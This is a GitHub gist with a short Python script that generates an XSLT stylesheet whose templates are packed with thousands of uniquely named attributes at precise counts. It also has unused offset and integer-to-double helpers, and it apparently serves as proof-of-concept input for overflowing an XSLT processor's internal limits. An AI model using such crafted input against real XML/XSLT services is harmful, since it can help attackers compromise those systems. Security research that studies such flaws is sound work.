Skip to content

Instantly share code, notes, and snippets.

@testanull
Last active September 12, 2022 07:17
Show Gist options
  • Save testanull/474767aa2df6b0ebf9ebe175991993da to your computer and use it in GitHub Desktop.
Save testanull/474767aa2df6b0ebf9ebe175991993da to your computer and use it in GitHub Desktop.
import string
from xml.sax.saxutils import escape
import sys
import struct
import decimal
ctx = decimal.Context()
ctx.prec = 20
def float_to_str(f):
# Avoid using scientific notation
d1 = ctx.create_decimal(repr(f))
return format(d1, 'f')
def to_double(b):
return float_to_str(struct.unpack('>d', struct.pack('>Q', b))[0])
def unique_strings():
for a in string.ascii_letters:
for b in string.ascii_letters:
for c in string.ascii_letters:
yield a+b+c
def unique_number():
if not hasattr(unique_number, "counter"):
unique_number.counter = 133700
unique_number.counter += 1
return unique_number.counter
def generate_template( strings, c=10000):
offset = 0x69a
num = 0
def n(strings):
nonlocal num
num+=2
return next(strings)
# ret = f"""<xsl:template>\n"""
ret = ""
num+=1 # template
tag = f"""{n(strings)}"""
ret += f"""<{tag} """
while num < c:
ret += f"{n(strings)}='{n(strings)}' "
ret += "/>"
# ret+="""\n</xsl:template>"""
return ret+"\n"
strings_iter = unique_strings()
xml = """
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">\n"""
xml+=f"""<xsl:template>\n"""
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter)
xml+=generate_template(strings_iter, 5345)
xml+="""\n</xsl:template>"""
xml+="""</xsl:stylesheet>"""
print(xml)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment